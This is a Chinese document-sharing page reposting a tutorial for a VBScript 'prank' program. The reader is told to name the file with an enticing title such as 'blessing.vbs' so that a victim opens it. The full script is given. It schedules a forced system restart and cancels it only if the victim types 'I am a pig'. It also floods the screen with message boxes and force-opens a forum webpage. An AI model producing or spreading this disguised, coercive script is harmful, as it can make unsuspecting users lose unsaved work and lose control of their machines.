教大家自制一个整人的小程序

2022-05-11 09:32:29 第一文档网 [ 字体：小中大 ] [

阅读： ] [

说明：文章内容仅供预览，部分内容可能不全。下载后的文档，内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的，是否完整无缺。下载word有问题请添加QQ：admin处理，感谢您的支持与谅解。

【#第一文档网# 导语】以下是®第一文档网的小编为您整理的《教大家自制一个整人的小程序》，欢迎阅读！
整人,自制,程序,大家,一个

教大家自制一个整人的小程序

其实方法很简单

首先新建一个文本文档，打开复制下面蓝色的代码，保存退出，然后重命名，名字可以随便设越诱惑越好，注意一定要把后缀名txt改为vbs 如：祝福.vbs

说明：

如果别人不输我是猪的话就会一直点下去点到你设定的数字 for i=1 to 100 从1到100

可以改成其他的数字

点到最后会强制打开萝卜论坛的网页（你也可以改成你想要打开的网页）

set ws=createobject("wscript.shell") call shutdown(1)

do while a<>"我是猪"

a=inputbox("哈哈……快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","") loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是猪!",4096+64 MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe http://www.xinluobo.com" msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 for i=1 to 100

MsgBox i&"只绵羊",4096+64 next

msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64 msgbox"最后问个问题，我是不是大好人！",4096+64 if inputbox("是不是","请选择","是")<>"是" then call shutdown(1) end if

sub shutdown(s) select case s case 1

ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2

ws.run"cmd.exe /c shutdown -a",0 end select end sub

本文来源：https://www.dywdw.cn/c5542eebf8c75fbfc77db24b.html